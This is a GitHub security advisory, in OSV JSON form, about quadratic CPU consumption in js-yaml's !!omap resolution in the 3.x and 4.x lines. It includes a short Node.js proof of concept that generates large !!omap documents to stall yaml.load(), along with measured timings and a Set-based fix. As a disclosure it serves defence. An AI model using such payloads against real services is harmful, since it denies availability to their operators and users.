GHSA-5p4m-2wfm-xmqj: JS-YAML Quadratic CPU Consumption Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-5p4m-2wfm-xmqj",
  "modified" : "2026-08-06T20:27:32Z",
  "published" : "2026-08-06T20:27:32Z",
  "aliases" : [ ],
  "summary" : "JS-YAML: Quadratic CPU consumption in !!omap resolution (3.x and 4.x) — CVE-2026-59870 fix not backported",
  "details" : "# Quadratic CPU consumption in `!!omap` resolution (js-yaml 3.x and 4.x)\n\n## Summary\n\n`resolveYamlOmap()` enforces key uniqueness for `!!omap` sequences with a linear\nscan (`objectKeys.indexOf(...)`) inside the per-element loop, making resolution\n**O(n²)** in the number of entries. A modestly sized YAML document therefore\nconsumes disproportionate CPU inside `yaml.load()`, giving a denial of service\nagainst any consumer that parses untrusted YAML.\n\n`!!omap` is registered in the **default schema**\n(`lib/schema/default.js` → `require('../type/omap')`), so a plain\n`yaml.load(untrustedInput)` with no options is affected — no custom schema or\nnon-default configuration is required.\n\n**This is the same weakness as CVE-2026-59870 / GHSA-724g-mxrg-4qvm**, which was\nfixed in the 5.x line in 5.2.1. That fix was never backported: both currently\nmaintained legacy lines still carry the original implementation.\n\n## Affected versions\n\n| Line | Latest tested | Status |\n|---|---|---|\n| 3.x | **3.15.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:29` |\n| 4.x | **4.3.0** | Affected — `objectKeys.indexOf(pairKey)` at `lib/type/omap.js:30` |\n| 5.x | 5.2.2 | **Not affected** — fixed in 5.2.1 (uses a `Set`) |\n\nBoth figures are the newest release of each line at the time of writing, so\nthis is not a \"you are on an old version\" issue.\n\n## Details\n\n`lib/type/omap.js` (js-yaml 4.3.0):\n\n```js\nif (objectKeys.indexOf(pairKey) === -1) objectKeys.push(pairKey)\nelse return false\n```\n\n`objectKeys` grows by one element per entry, and `Array.prototype.indexOf` is a\nlinear scan, so resolving an `n`-entry `!!omap` performs roughly\n`1 + 2 + … + n` comparisons — quadratic in `n`. The work happens synchronously\ninside `yaml.load()`, blocking the event loop for its whole duration.\n\nThe 5.x line already solves exactly this by tracking seen keys in a `Set`\n(`src/tag/sequence/omap.ts`):\n\n```ts\nif (carrier.seen.has(key)) return 'duplicate key in ordered map'\ncarrier.seen.add(key)\n```\n\n## Proof of concept\n\n```js\n// poc.js  —  node poc.js\nconst yaml = require('js-yaml');\nconst doc = n => '!!omap\\n' + Array.from({length: n}, (_, i) => `- k${i}: ${i}`).join('\\n') + '\\n';\n\nfor (const n of [10000, 20000, 40000, 80000]) {\n  const d = doc(n), t = Date.now();\n  yaml.load(d);                      // default schema, no options\n  console.log(`n=${n} bytes=${d.length} load=${Date.now() - t}ms`);\n}\n```\n\n### Measured (node v20.20.2, default heap, no flags)\n\n**js-yaml 4.3.0**\n\n```\nn=10000  bytes=137787   load=54ms\nn=20000  bytes=297787   load=169ms\nn=40000  bytes=617787   load=646ms\nn=80000  bytes=1257787  load=2607ms\n```\n\n**js-yaml 3.15.0**\n\n```\nn=10000  bytes=137787   load=53ms\nn=20000  bytes=297787   load=166ms\nn=40000  bytes=617787   load=641ms\nn=80000  bytes=1257787  load=2567ms\n```\n\nRuntime grows by a factor of ~4 for each doubling of `n`, which is the\nsignature of O(n²) (linear growth would be ~2×).\n\nScaling further: a **2.48 MB** document with 150,000 entries blocked\n`yaml.load()` for **10.8 seconds**.\n\n## Impact\n\nAny service that parses attacker-influenced YAML with js-yaml 3.x or 4.x can be\nstalled with a small input. Because the loop is synchronous, a single request\nblocks the Node.js event loop and stalls every other request in the process —\nso the amplification is per-process, not just per-request.\n\nSuggested severity: consistent with **CVE-2026-59870** (the same weakness in\n5.x), i.e. Availability-only impact, network attack vector, no privileges or\nuser interaction required.\n\n## Suggested fix\n\nMirror the 5.x fix — replace the linear scan with a `Set`:\n\n```js\n// lib/type/omap.js\nconst seen = new Set()\n// ...\nif (seen.has(pairKey)) return false\nseen.add(pairKey)\n```\n\nThis preserves the existing duplicate-key rejection semantics exactly while\nmaking resolution O(n). A `maxOmapLength`-style cap would also work, but the\n`Set` matches what 5.x already ships and requires no new option.\n\n## References\n\n- CVE-2026-59870 / GHSA-724g-mxrg-4qvm — same weakness in 5.0.0–5.2.0, fixed in 5.2.1\n- `lib/type/omap.js` (3.x, 4.x) — the affected resolver\n- `lib/schema/default.js` — registers `!!omap` in the default schema\n\n## Discovery\n\nFound by an automated static-analysis and executed-proof-of-concept scanner run\nagainst js-yaml 4.2.0, then manually verified against 3.15.0 and 4.3.0 by\nexecuting the proof of concept above. All timings in this report were measured\non the **current** releases of each line, not on the version originally scanned.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-yaml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.3.1"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "npm",
      "name" : "js-yaml"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.15.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/nodeca/js-yaml/security/advisories/GHSA-5p4m-2wfm-xmqj"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/nodeca/js-yaml"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-407" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-06T20:27:32Z",
    "nvd_published_at" : null
  }
}